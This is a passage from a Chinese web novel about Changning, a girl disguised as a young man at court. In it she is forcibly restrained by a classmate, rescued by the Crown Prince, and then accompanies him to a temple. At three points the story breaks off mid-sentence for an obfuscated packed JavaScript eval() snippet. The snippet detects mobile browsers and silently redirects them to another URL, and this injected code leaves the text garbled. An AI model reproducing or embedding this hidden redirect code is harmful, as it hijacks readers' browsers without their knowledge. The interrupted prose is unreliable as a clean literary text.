她根本就无心顾及公孙瑾，此刻只想快些去找姑母。到了姑母殿里，纵然浑身湿漉漉的，必然引人注目，兴许再从庆和帝那儿挨一顿口头批评，也比穿着湿衣回御书房好得多。 这般满眼都是雨水地快走，常宁几乎看不清四周，连找回廊借路都不成，更别提看清对面拔刀的龙禁尉。 在撞上那龙禁尉身前，一只手挡在常宁面前，公孙瑾笑道：“这雨太大，看不清路。” 这龙禁尉浑身滴水，应也是因下雨来不及回转的，这才落了单，“公孙大人，既然您在，下官就退下了。” 公孙瑾颔首，待人走远，依旧紧紧地攥着常宁手腕。 常宁抽抽，抽不出来，被攥得腕骨生疼，只余下满心的愤懑悲戚，遂低头咬在他手上，不多时便见了血。 公孙瑾皱眉：“我帮了你，你就这样对我？” 常宁冷哼：“你当我傻？谁要你帮啊，要不是你，我会这样？” 公孙瑾百思不得其解：“我究竟哪里惹了你不快？” “还说，你还说！”常宁撇过头，一边找回廊，一边泄愤，“你当时怎么说我的？我什么时候说过你是小倌？你就这么不讲道理、口出恶言。你这人坏透了，我才不和你玩呢。” “坏透了？”公孙瑾低低一笑，声线低沉，却浑然不见喜意，只眉眼间愈发冷凝，“你就是这般看我？” 常宁的性子，哪里被人这么处处针锋相对过。她向来随心，在公孙瑾面前，多说一句话，半夜都要想想可是伤了他。常宁扪心自问，没什么对不起公孙瑾的地方。公孙瑾素日里冷言冷语便罢了，人之性情千万种，并不稀奇。可将常宁比作小倌花娘，常宁不信这是天性使然。 见常宁恍若未闻，将他的话当做耳旁风、身前雨，连个眼光都懒得给的，公孙瑾呵笑：“你和云策要好，你可怜江晚照，那我呢？你又可曾多看过我一眼、多念过我一分？” 这话好没道理。 常宁可觉得，她在他这里谨言慎行还听着冷言冷语，比之其他玩伴费心多了，“你不要闹。” 少年人话里的不耐，隔着风雨，公孙瑾都听得一清二楚。 他忽得展臂撘在常宁肩上，半拖半拽着常宁往假山旁去，躬身进了山道，避开了漫天的雨。 常宁一路上拳打脚踢的，他也都受着，连常宁一巴掌抽在他脸上，打得他脸上立时映出充血的巴掌印，他也不带停的。 山洞避雨，却狭窄，两个人挤在里面，是有些难受的。 常宁冷眼相待：“你要干什么？” 公孙瑾牵唇：“闹给你看。” 一俯身，公孙瑾就能看到桃花眼中的惧怕。 可怕什么呢？ 他总不会伤害他的。 15. 此刻 在公孙瑾的唇落下来之前，常宁先一步低头咬他手。 公孙瑾是有些冲动了。 但常宁唇角带着他的血，抬眸时触目惊心的美，足矣抵过他提早暴露的懊悔。 常宁一言难尽：“你是断袖？” 公孙瑾沉默。 常宁下令：“放开我。” 公孙瑾恍若未闻。 断袖就是不一样哈，死犟死犟的。 不对，公孙瑾是个断袖？ 常宁一时冷汗涔涔。 她手腕还被他拉着，垂眸去掰他手指，想让他松开。 公孙瑾却为这短暂的沉默动容。 兴许，常宁根本就不在意，是不是断袖呢。 公孙瑾张唇：“我们会永远在一起。” 常宁懒得搭理：“算了，都断交了。再说了，你是断袖，那也要找断袖啊，找我做什么。” 公孙瑾火热的胸腔顿时冷下来，“一个小倌，你都能当成宝，凭什么我就不行？” “不许编排无忧，”常宁怒视，“无忧他不一样。” “呵，不一样，哪里不一样？”公孙瑾嗤笑，“是能让你快活，还是能让你……” 他凑近常宁耳边，热气一阵阵打在常宁耳朵上，激得常宁缩了缩。但他的话却没停顿，“……我都能。” 手心的刺痛让常宁保持着清醒，反问道：“做上面下面都可以吗？” 公孙瑾迟疑一瞬，几乎要点头。 常宁又笑：“我不稀罕你，你却不想着你娘的吗？你娘只有你一个，若知道你断袖，你让你娘怎么办！” 公孙瑾掐住常宁下颌，迫使常宁抬头，常宁未尽的话变得呜呜咽咽的。 “唔” 这一声，和常宁平日里截然不同，少了几分理直气壮和神气，也中和了少年人变声期的粗糙沙哑，带了一丝轻柔暧昧。 公孙瑾闭眼道：“再叫给我听。” 变态呀！ 真是坏透了！ 常宁拿脚跺公孙瑾，公孙瑾反应迅速，双腿微分并拢，制住了乱动的常宁。 公孙瑾近来常出入血腥之地，出手狠辣致命，常宁对上他，已然渐落下风，又兼风雨呼啸、地处狭窄幽暗，没来由地涌上一丝惧意，清透的桃花眼染上一层流转的泪光。 泪水在眼眸里委屈地打转，脸上还是一副神气模样，从抽动的鼻尖到微瞪的眼，每一个细微的表情，公孙瑾都能读出常宁对他的不满和气愤。 公孙瑾漫漫地看着。常宁哭起来，倒少了些男子气概，委屈巴巴的神色，让他想起姑娘家。 可常宁怎么会是个姑娘家呢？纵然生得过分好了些，但那天生的风流写意、坦荡磊落，容不得他生疑。一同进学两载有余，没道理他就是个姑娘。 公孙瑾扯唇笑笑，一手抓了常宁两只手腕，一手理着常宁的发丝。常宁发了狠咬他肩膀、咬他脖颈，他也只是闷哼一声，手按着常宁后脑勺，让常宁离他愈发近。 常宁吓一跳，连忙松口了。 拜托，不该是痛吗？他痛了不该松开她吗？变态啊，叫得这么享受，死断袖故意的吧！ 公孙瑾眉头舒展：“怎么不继续了？” 常宁愤愤撇过脑袋，“我再给你一次机会，你要是现在放开我，我今天说过的话就当没说，我也不和你断交了。你若是执迷不悟，我以后就再也不见你了。” 公孙瑾笑常宁天真：“你必定有非我不可的那天。待到那时候，我便将你锁在我身边。” 他还想亲常宁，却在常宁眼眸里看到惧怕与憎恨。 他怎么可以恨他！ 外间有脚步声传来，整齐划一，又不似龙禁尉和禁军。 想是贵人出行。 ——“何人在此？” …… 罗伞高举，李稷静立伞下，狭长凤眸淡淡瞥向假山。 断断续续的呜咽声，猫儿一样抓人，透着无限的委屈。 刘总管人老遭事多，心下暗斥宫人没规矩，该找个时候好好管一管，面上道：“殿下，时辰不早，该去圣上那儿了。” “唔～呜呜——” 刘总管听得耳热。是个人都知道，宫中私会捅到殿下面前，那是要挨重罚的。他都给开脱了，里面那位怎么还一声高过一声，故意叫给他家殿下听似的。 尴尬间，就见李稷抬步往假山边去。 刘总管忙道：“哎哟，殿下，使不得使不得！愣着干什么，还要殿下亲自动手吗？” 小太监被他一斥，就要上前，李稷却骤然回首，“都退下。” 公孙瑾不想在常宁眼睛里看到恨意，已然准备收手。常宁却被他吓到了，听到李稷和刘总管的声音，不由分说地要出去。 “你会被罚的，”公孙瑾捂住常宁的嘴。 他在常宁这里的信誉一落千丈，常宁现在信了她爹的吹牛，都不会信公孙瑾，听着李稷要走，愈发放大声去喊。 救命啊，殿下！ 李稷拨开杂草，雨珠滚落在他衣摆上。眼前的一幕简直让他瞳孔骤缩，气血涌到胸膛，“混账！” 混账怎么了？混账能救常宁啊！ 常宁听着这两个字都不怕了，小跑着出来，钻到李稷伞下面，“冤枉啊殿下！” 公孙瑾也出来了，跪地行礼，膝盖深陷在软烂的泥泞中，迟迟不听李稷叫起。 常宁躲在李稷背后，探出脑袋瞪公孙瑾。 惊雷炸起，照出公孙瑾被水冲得发白的脸，常宁也冷得打了个哆嗦。 李稷道：“去领罚吧。” 刘总管早就挥退了宫人，只留下几个心腹，见状问：“殿下，公孙大人犯了哪桩事？” 李稷敛眸，余光瞥向常宁：“行止无状，冒犯了孤的座驾。” 刘总管明了。这是要罚得重些，但要把常宁摘出去，不能闹到旁人耳中，更不能闹到圣上面前。 “殿下，近旁暖阁无人，奴才已打点人收拾过，火也生上了，可暂时落脚。” 李稷颔首，走出几步，回头看常宁呆站在那儿，雨水顺着脸颊滚滚而落，微一蹙眉，“还不跟上？” 常宁挤出个笑，接过伞殷勤地打着。 跨进暖阁，李稷脱了带着雨气的披风，径自盘坐在榻上。 常宁身上还淌着水，乍一进来，冷热对冲，难受得紧，坐在榻边的小杌子上。 宫人捧着新衣入内，常宁拢着衣领，连连摇头，“臣回家再换。” 雨水顺着常宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307329|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸颊滚落，留下一道道水痕。那双清亮的桃花眼中，还残留着未褪的后怕和警敏。 李稷：“日后你往来东宫，孤会派人接送。” 先前公孙瑾闹成那样，常宁都忍着没落泪。如今听着李稷拐弯抹角的宽慰和信赖，常宁一颗心安定下来，眼圈也红了，垂着眼不说话。 有什么软绵绵滑溜溜的东西挨在常宁脸上，常宁抬眸，见李稷拿了帕子给她擦水，棱角分明的嶙峋脸庞在她面前放大，从那双专注的凤眸里，常宁能看到自己的倒影，呆愣愣里透着委屈愤懑。 常宁扯过帕子，盖住整张脸，本是在擦雨水的，不知何时抽抽着低声落泪，便是擦了许久。 李稷等常宁气喘匀了，问道：“怎么一回事？” 常宁拽下帕子，攥在手里扯着，“我们一见面，公孙就胡言乱语，还拉着臣到假山那边要亲臣。” 这般信赖的姿态，一瞬间让李稷恍惚觉得，他此刻兴许真是他的擎天一柱，破天荒道：“是孤有欠妥当。” 常宁连忙摇头：“不是的，殿下。他那么坏，没有殿下也要找机会吓唬臣的，殿下您已经很好了。” 她和公孙瑾两个人在假山里，若是不知情的人，瞧见了定是要两个人一起罚的。李稷一句也没问过，却判断得如此准确，已是难得。 即使李稷只是纯粹地相信常宁，常宁也十分感激。这年头，不了解真相就站在这边，这得关系多好！ 吐露出来，常宁的后怕就没了，仰脸笑道：“殿下，听刘总管说，您待会儿还有事？臣这里不着急的，您快去忙吧。” 李稷确有此意，转眸问道：“你要去哪儿？” 常宁眼中笑意点点:“臣回家。” 翘课那种。 虽然对不起严老先生的胡子，但常宁还是觉得回家更好。 李稷提笔写了封信，盖上章，招来个小太监，“你到御书房给他告假，送他回府。” 常宁连声道谢。 …… 到家里后，英国公又出去钓鱼看花，姜夫人在店铺里查看。常宁换下湿衣服，又泡了个澡，出来后院子里还是安安静静的。 常宁就坐在窗前发呆，盯着瓷白细颈瓶里鲜美的花枝瞧。 张侍玉悄无声息地露出半个身子，挡了窗前的视线，“不是在进学？” 常宁闷声道：“放假了。” 张侍玉哼笑：“被人欺负了还差不多。是哪个坏家伙？” 常宁警惕：“你问这做什么？” 张侍玉面容冶丽，笑得漫不经心，“自然是帮你杀了他。” 常宁：“……大可不必。” 张侍玉眸光落在常宁身上，极轻极浅的一眼，语带喟叹，“好浓的血腥气……下巴上、手腕上。咦？嘴上也有呢，艳福不浅嘛。” 常宁一把拍掉他随着言语描摹在她脸上的手，“喝了你的血，也有血腥气。” 张侍玉一挑眉，撩起一截衣袖，露出白皙清瘦的腕骨，凑到常宁唇边，“给你。” 常宁嘴角一抽，无助望天，“你中毒了，不要你的血。” 她又不是吸血鬼，喝血做什么？ 等明日去皇觉寺，常宁一定要求一道转运符，改改她这犯变态的运道。 16. 皇觉寺 翌日往皇觉寺去，常宁带了书剑和明玉。 李稷的车马停在正阳门外。刘总管指挥小太监清点随行人员和用品，几个眼熟的东宫护卫都在其列。庆和帝虽对李稷不甚上心，但也派了一队龙禁尉护卫李稷。 郑御厨、膳房的宫人、太医和徒弟……常宁打眼望去，林林总总有不少人。 常宁笑道：“问殿下安。” 李稷颔首：“孤躬安。” 今日常宁瞧起来，精气神好了许多，气色也红润。想来昨日被公孙惊扰之事，已经过去了。 李稷问：“可能骑马？” 常宁忙点头：“能的！” 李稷便指向一匹毛色纯净洁白的马儿，示意常宁此行骑着这匹马驹。 车驾起动，李稷入了马车，常宁踩上马镫翻身上马。 春日好风光，翠柳依依，黄蝶扑花。远远望去，一片青葱翠绿，可人心扉。 行了半日，扎寨安营。 常宁栓了马，摸摸马儿的脑袋，溜去郑御厨处。 炭炉猩红火热，鲍鱼被架在根根平放的细铁管上，略显白嫩的鲍肉变得焦黄，滋滋冒出的油水顺着肉滑入壳中或炭炉。 郑御医还在忙，不过转个身的功夫，就撞见了眼巴巴盯着鲍鱼瞧的常宁，“小少爷这是做什么？” “郑叔，”常宁咽咽口水，鼻尖充盈着诱人的气息，“你这菜烧得真香。” 郑御医失笑，用镊子夹起一块，给常宁放在盘子里，“少爷，来给殿下试下毒，如何？” 常宁笑眯眯道谢，拧下鲍鱼肉，也不嫌烫，捂着嘴巴咽下去，眼睛都亮了，“不加佐料吗？” 郑御厨摇头：“鲍鱼味美而鲜，些许清盐就能激发出香味，足矣一枝独秀。不过此行还带了些贝类，等得空了，我弄些蒜蓉粉丝，缀些红艳艳的朝天椒，淋上酱油陈醋，不拘是炭烤还是清蒸，味道都是一绝，少爷要吃么？” 常宁只是听着描述，便又饿了，“当然！” 捧场的食客无疑最令厨师心喜，郑御厨恨不得单独给常宁加小灶，势必要常宁尝遍他研究毕生的菜肴。 常宁在膳房这边走了一圈，顺利打入组织内，混吃混喝用了个六分饱，终于想起远在马车里等待用膳的李稷，说什么也不吃了，忙往回赶。 小太监们正在搭建临时用膳的桌椅，李稷还在马车里。刘总管站在车外，歪头凑近车窗，笑着颔首，看向常宁，“常伴读，请进。” 常宁吸鼻子使劲嗅了嗅，没闻到小食的香气，自信地进了马车，跪坐在李稷对面。 李稷坐着看书信，常宁却觉得，在这马车里，还是跪坐在地上更安心，冷不丁招了李稷一眼。 常宁笑问：“怎么了，殿下？” 自打常宁进来，混杂的香气就盈满了车厢。若不是吩咐了要在外面用膳，李稷怕是以为郑御医将菜品都给呈上来了。 李稷：“带了什么吃的？” 殿下还没吃上，常宁先吃个半饱，这多不像话呀。常宁原还想推脱，李稷开门见山，她倒不好瞒了，解下腰间鼓鼓囊囊的荷包，剥开油皮纸，露出里面炸得金黄的小鱼干。 于公于私，常宁都自己先吃了一个，又捻起一条递给李稷，“好吃的。” 李稷不爱用这些小食。他少时也曾用过，那时炸鱼干入口，与其余吃食别无二致，甚至如今都忆不起是何滋味，只觉应如凉水，寡淡寻常。常宁吃得香，李稷便也尝了一口，惊觉如此酥、脆、香。 “可还有旁的？” 常宁又从袖袋里拿出一包炸平菇，依旧是油皮纸卷着。平菇裹了一层淀粉，酥香的外衣牢牢锁住了内里残留的少许水分，油锅里滚过一遭也不减鲜嫩滑美。 李稷执筷用了些，常宁拿帕子擦唇角，劝他少吃，等会儿还要用膳。 李稷眸光暗了暗。 昨日常宁落泪时，也是拿帕子擦的泪。 用他的帕子。 李稷快速移开目光。 他们此行走得慢，到皇觉寺，兴许是晚上了。 常宁觉得，李稷大抵心情不好，一路上都阴沉沉的。还好他让她骑马，她也就不往他跟前凑了，骑着马走在马车侧前方。 李稷拨开车帘，吐出一口浊气，手却迟迟不放下。 山上寒凉，花开得晚，纵然魏都桃李花期已尽，此间花树却开得正好，夹道两侧满眼粉白青绿。风一吹，落英缤纷。少年人身骑白马，朱衣金冠，伸手去挡刺目金光，恰接了满手落花，歪头笑着给洒到草根上。 一个简简单单的背影，便满是意气风发，藏不住的朝气蓬勃。 想那公孙，便是被此等气度迷了，昏了头也要一亲芳泽。 待到皇觉寺山门，一行人便弃了车马，合十一拜，沿着层层石阶往上爬。常宁数着，走了三千多级石阶，可真是累得够呛。 不过见了神清气爽的主持和小师傅们，常宁又来劲儿了，规规矩矩跟在李稷身后，听李稷和大师谈佛理，一道去不少宫殿里上了香。 外面已全然黑下，入了一宏伟金殿，却刺目地亮堂。数盏长明灯供奉在此，粗壮的红烛燃着，众星捧月一般围着长明灯。 常宁听着，便明白李稷是要来取皇后娘娘为他供奉的平安符，悄悄打量了眼殿里正中那道金光闪闪的黄纸血纹符，暗道皇后娘娘确实有心，不如传说中那般在两兄弟之间多有偏袒。 大师却越过那道符，引着李稷到东侧面，洒水焚香，取出一道供奉的平安符。 两符自然无有不同，可前者周围的供奉物多出自皇家珍品，些许还是近些日子藩国上贡的。后者周边亦琳琅满目，却只是皇觉寺中能拿出的上上好物。 李稷还要跪在蒲团上，给庆和帝和皇后娘娘念两个时辰的经，诵经祈福。 换衣净面后，李稷回首，见常宁眉眼郁郁，疑心是饿了，温声道：“你先去用膳，明日再来拜会孤。” 常宁摇头：“殿下，臣不饿。臣也能诵经吗？” 李稷颔首：“自然。只是诵经枯燥， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307330|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时辰难捱，恐你受不得。” 常宁笑笑：“来都来了。” 李稷不再多言。每年来皇觉寺，李稷都会在此为帝后二人诵经，早已对经书了如指掌，闭眸长跪，就能流畅地念出一道道经文。 常宁没怎么看过，拿了本经书照着念。李稷嗓音稳重、流畅，振振有词，有浑厚的力量感。常宁则只求无功无过，不念错、诚心诚意就好。 其实常宁是觉得李稷太规行矩步的，尤其和三皇子比，老实过头了。他年年念经，要不是常宁这次过来听大师提起，她都没听说过这事，想必帝后也不知道。换成三皇子，可不得大告天下，尤其要到帝后面前邀功。 也罢，心无杂念，简朴孝贤，不耽于享乐，纵使不得帝后宠爱，可这样的人占了太子位，总是得臣僚敬爱的。 金佛宝相庄严，微垂笑目端坐在大殿上，既悲且喜。常宁幼时随祖母上香，要仰很高的头才能看到全象。漫天诸佛总是隐匿在袅袅香烟后，蒙了雾一般，却不妨碍一低眉之间的威严。 那时常宁是怕的，怕高大的佛像，怕佛祖有灵，会觉得她不够心诚、不够庄重，叫她许的愿都朝着最害怕的方向而去。如今再来，常宁只觉平静，所有纷杂的思绪都随着阵阵木鱼声中荡走。 待念完了经，又用了茶水，常宁便告别，一路问着小沙弥，寻到了慧能大师的住处。 按着张侍玉教的方法叩门，不多时便有人引常宁进去。 慧能大师白眉双分，垂在耳旁颊畔，面浮菊纹，细目撑起眼褶，神情慈和。 常宁拜会过，看他深夜里只披一层单衣，笑问：“可是我扰了大师就寝？我这里不急，大师加些衣裳，莫着了凉。” 皇觉寺难来，因不知李稷要待多久，常宁不敢耽搁，遂冒夜前来。 “老衲心不冷，”慧能慈和的目光落在常宁面上，膝上的手指缓缓掐算起来，末了一笑，“小施主瞧着也是心热之人，不如帮老衲带句话给张小友。” 常宁点头：“大师请讲，我一定带到的。” 慧能却不急，从袖子里取出白釉瓷瓶，倒出两枚漆黑药丸，分装了推给常宁，“告诉他，珍惜眼前人。” 常宁记下了，“这药如何吃？” 慧能：“化水内服，一粒足矣解毒。” 常宁拿起两个小瓶子，“那剩下这枚呢？” 慧能道：“缘来不易，赠与小施主。” 常宁很宝贝，握在手心里摩挲，“大师若有事，可以到魏都里寻我。” 慧能不语，只微微笑着。 常宁要跨出院门，才听到他的嗓音从身后飘来，“这药丸，放眼天下，共有五枚。两枚早些年便用了，一枚为人所窃，余下两枚，都在小施主手中。自来福祸相依，得此药丸，生杀俱在一念之间。还请小施主今夜焚香进斋，抄经诵悼，聊消灾妄。” 出家人的讲究，常宁知之甚少。但既是拿来解张侍玉的毒，心诚总归不差，便回身认认真真道了谢，到自己的斋房里抄经。 17. 你说 “如是我闻……” “我已光照三千大千世界灭除大闇……” “所应度者皆悉己度。” 常宁的嗓音，清脆中带着沙哑低沉，止不住的却是话音里的青葱与朝气。 刘总管将烛芯拨得亮了些。 李稷披衣执卷，倚在矮榻上，手中书许久未翻动。 仿佛恭声念经的少年，还在他身旁一字一句地虔诚诵读。 “刘章，孤是不是太骄纵了他？” 刘总管眉目一顿，直起身来，将铁丝放下，笑道：“小少爷锦衣玉食，享尽富贵，再骄纵，也不过是寻常。” 李稷手撑下颌，“可叫郑御厨过去了？” “去了，”刘总管道，“据说求了药，正在抄经书。” 李稷淡薄的脸上露出个笑，“倒是有心。” 常宁没念过佛经。这般灵秀好动的少年人，跪在蒲团上诵经，捱了两个时辰，临走时身形都是晃的。 忍得诸般枯燥，只是为了在孤寂凄冷的大殿里陪他一程。 若说先时公孙瑾所作所为，在李稷看来是魔怔了，此刻竟也觉情有可原。 昨日暴雨山洞的一幕，依旧让李稷肝胆欲裂。何以他所器重的两位伴读，私下却如此行事？李稷每每忆及，总会目泛凶光。 他只道是愤，刘总管却能瞧出那凤眸深处的怜，愈发静默。 李稷看了会儿，便放下书，回身去写奏折。 近日兵部有一职位空缺，父皇却特意将他打发到皇觉寺。李稷母族，十余年前也是坐镇一方的将门，后来做了皇亲国戚，兵权就渐渐交归圣上了。舅父与母后感情甚笃，也更偏爱李秩。唯有外祖中意李稷，但外祖年迈，已经多年不管事了。 昔年父皇立太子时，留给他的王佐之臣里，倒是不乏武将。可父皇病愈后，也都收了回去，更忌讳李稷和他们走得近。 李稷隐约猜得到，父皇兴许是要他们三个皇子斗上一斗。他是皇太子，父皇便冷落他，给李秩宠爱，对二弟委以重任，让他们都生起野心与抱负。可如此一来，只有龙椅上的父皇，才是最大的黑手。 同为龙子凤孙，李稷从不认为他会输。 多年经营，纵使舅父昏聩，李稷的实力也远比父皇预料中的强大。只是父皇与二位皇弟在明，他在暗。 何况……李稷耸眉一笑。若他倒了，常宁也会被吞噬殆尽的吧？ 常宁还在抄写经书。 慧能大师给的经书如此多，常宁算了算，要抄到天亮才能抄完。 有两句常宁不解其意，搁笔看了会儿，还没等想明白，便沉沉睡去了。 李稷来时，郑御厨送来的菜与粥已经用尽了，只有盘子里放着一个咬了一半的糕点，茶水也用了不少。 常宁面前窗子开着，枕臂睡得正酣，一盏青灯幽幽欲灭。 李稷将披风罩在常宁身上，伸手欲去解常宁的金冠，不经意间碰到常宁脸颊，常宁悠悠转醒。 “殿下，您怎么来了？几时了？”常宁困得上下眼皮打架，疑心是在做梦。 朦胧的桃花眼覆着一层水汽，睡眼惺忪，纤指揉着眼睑，比平时多了几分秀气。 意懒懒，春睡迟。 李稷道：“三更。为何还不睡下？” 还早，常宁只睡了一两刻钟，赶得上进度，小风一吹就清醒了，笑道：“没抄完。” 李稷拿起抄过的佛经看，一个个字劲瘦潇洒，没有一个错字，“待回京，你的功课都带到孤那里，写完再回家。” 常宁可不想：“哎呀，这怎么好呢，臣写到半夜都写不完，这不是打扰殿下休息嘛。” 李稷道：“诸多宫室，岂会短了你一席之地？” 这就是写不完不许走了。 常宁蔫蔫地应了。 李稷心下好笑。 那日他派小太监给常宁告假，小太监回来却报，严先生对常宁颇有微词。常宁养伤时，严先生去探望过，留了些许课业。然而待常宁回御书房，呈上的课业都是粗制滥造、临时赶制的。这也便罢了，严先生只是担忧常宁病中无趣，荒废学业。 可重回御书房后，常宁的课业依旧稀烂。严先生恼了，敲常宁几板子，常宁还理直气壮地说是养病把进度落下了。 严先生要常宁补，常宁顶他逝者不可追。 比李稷胞弟李秩还惹先生恼火。 李稷如何不知，这是心灰意冷了。常宁这么聪慧又灵秀，恐怕是早有一番猜测，按下不表罢了。 “可有不解的？” 常宁点头，指给他看。 李稷一一解答。 他比严先生还无聊，比高先生讲九章算术还令人发困。常宁撑着不睡，却没什么作用，脑袋一点一点的。 等她额头一痛，已经吃了李稷一下，捂着头哎哟一声，忽然定住不动。 李稷靠近了些，“疼吗？” 常宁一笑，捻起那半块糕点咬在嘴里，“不疼。刚好饿了，恰好看到还有些吃食。” 夜里容易积食，常宁尝个味，就接着抄佛经。李稷在旁边，看着常宁一个个字认真抄着，桃花眸明亮有如碎星，忽而问道，“彻夜抄写，心中可怨？” 常宁啊了一声，“一天就十二个时辰，熬穿了，臣就比旁人多五个时辰，高兴还来不及呢。” 李稷：“歪理。” 常宁一弹额前的发，“歪理也是理。”李稷今夜话如此密，常宁转身背对他，图个安逸，祈祷他不要再来问话。 李稷略一摇头，负手走出去。 绕过回廊，视线流转，依稀还能望见窗下人。或是伏案执笔，或是捧纸吹墨，鬓发于风中摇曳，眼眸如星，生生带出几分清艳来。 那夜庆和帝召李稷，戏言常宁流连花楼之事，言语之间颇叹那一掷千金的豪放。 纵知他是心疼钱，怕钱进不了他的私帑，李稷还是道：“天赐风流，人间难求。” 庆和帝笑道:“志丧于声色犬马。且看这天上的风流仙官，能在朕的繁华都里待多久。” 刘总管小跑过来，慢慢放大了动静，先是低低地喊，随后拔高了嗓音，“殿下。” 李稷收回视线，沿着回廊往外，问道:“刘章，他是谁？” 刘总管细眉攒动，稍一沉默，回道：“英国公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309623|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之子，清河殿下表兄。” 英国公的爵位，到常宁父亲这一代便要传完了。据闻，英国公夫妇早有归隐打算，预备到时携常宁游历八方。 李稷缓步走着，望了望天上泠泠弯月。 刘总管落后一小步，随他走着，越过了重重殿宇，到了斋院。 李稷盥洗过后，刘总管自觉退下，忽听李稷道，“孤对他总是多有容忍，缘何？” 刘总管尽量让语调与往常无异，笑回：“少爷今年就要过十七，清河殿下常常唤作表哥。清河殿下是您的妹妹，按序齿，少爷也该唤您一声表哥。” 李稷挥手，“下去吧。” 表弟吗？倒是有趣。 他的胞弟、舅父家的表弟，个个都亲近不起来，却独独亲近个无血缘的儿郎。 …… “殿下，这不妥吧？”常宁愕然。 抄完经书，天边微微泛白。担心晚间睡不下，常宁就不补觉了，在皇觉寺里四处转悠。 主持给了她一枚平安扣，片冰薄玉做的，清透玉色里淌着一抹血。据说出了供坛就不能离人，明玉给常宁打了络子，常宁先系在手腕上。 可常宁无暇估计这枚平安扣。 李稷让她往后就叫他——表哥？ 这哪儿行呀，平白无故多个大外甥，皇后娘娘不得气个半死。 “不妥不妥，”常宁脖子一寒，猛地摇头。 真要叫了，三皇子不得跟着叫常宁表哥？常宁可不想吃三皇子的眼刀子。 “确实不妥，”李稷沿着溪流走，耳边水声潺潺，鸟鸣声清脆悦耳，“太生分，不如哥哥来得好。” 清河唤常宁表哥，常宁唤他表哥，也忒单调。古来帝王，行止坐卧皆与众不同。唤他表哥，如何能凸显出不用来？便是哥哥，也是普罗大众用烂了的。 常宁眼珠都快瞪出来了，瞌睡劲儿是一点没有。什么黏黏糊糊的哥哥，常宁才不叫呢，又土又丢人。 李稷道：“孤单名稷。带上孤的名再叫哥哥，岂不更好？” 常宁被土到无以直视，伸手在眼前挥了挥，“还是叫殿下顺口，不改。” 李稷不应，负手前行。 他微服私访时，长街上人声喧闹，少年郎唤着朋友小名四处穿行的，不知有多亲密。 常宁捞起石子片，眯眼甩进溪中，打出一连串浪花，暗暗为自个叫好。 刘总管带着小太监、明玉、书剑，不远不近缀了几步，见状抚掌：“少爷打得好！” “小把戏，”常宁被夸得嘴角朝天，心中暗爽，俯身又去捞石子，一连握了一掌，飞出去一个就看一眼刘总管。 刘总管捧场。 常宁正要再飞一个，李稷伸手掠走了常宁的石子，轻轻一甩便一路漂水到对岸。 常宁学着刘总管夸了几句，瞧见水下一片会动的黑影，凑近去看。 岸边湿滑，常宁刚落脚，就被李稷提住后衣领，“当心落水。” 常宁暂时说不出来话。 纯勒得满脸通红、呼吸不畅。 但这么一会儿功夫，常宁也看清了水里的黑影，“好大的乌龟！” 18. 轻功 刘总管把龟捞了上来。 龟背上刻着几个大字，显然已是经年。 上面是古体篆书，年代十分久远，常宁没学过。 刘总管跟随李稷多年，一眼就认可出来，难抑惊喜，“这是明武帝放下的祥瑞，龟背选刻《尚书·洪范篇》，据说得之永昌。” 他四下望了望，所幸此次带人不多，都是些值得信赖的。 常宁也连忙保证，她和明玉、书剑绝不会吐露分毫。 李稷微微一笑：“孤欲留下祈福，祥瑞事关重大，便由你来护送，如何？” 常宁目含惊诧：“殿下不可。祥瑞之气，唯有殿下才受得住。此事关系到江山社稷，殿下回京，亦在情理之中。” 神龟一出，且不提庆和帝如何高兴，护送之人必然受到嘉奖。可如今却不算个好差事，庆和帝是奖是罚，端看他如何看这祥瑞。 李稷如今正受猜忌，若常宁以李稷之名护送神龟入京，再有奸贼进谗，说祥瑞是应太子殿下而现世，陛下少不得要连常宁这个护送的一起恨上。 若不提李稷，单以常宁的名义献宝——家里的爵位再传三代都是少说，无缘无故承这么大一个情，常宁又还不起，岂不是要把自己吃撑死？ 李稷笑常宁，“那便即日启程，返回京都。” 常宁此次什么都没带，夜里又没睡好。可一夜未眠，不但不困，精神反而大好。 李稷还有事，常宁带着明玉和书剑在皇觉寺转悠，一个清秀的小沙弥给常宁引路。 飞泉漱玉，草木葱茏，碧波荡漾。湖心一方巨石，上宿彩羽两禽。 断崖高耸陡峭，崖壁被数道飞泉冲刷出道道沟壑，在日光下熠熠生辉。 常宁心情舒畅：“你们这里风光真好。” 小沙弥头颅微低，笑道：“小僧也不常来，寻常只有贵客到了，师父才会让我们跟着贵客沾沾光。” 正说话间，一阵狂风袭来，惊得闲适的鸟啭一滞，随后尖锐鸣叫，扑棱着乌压压飞走。 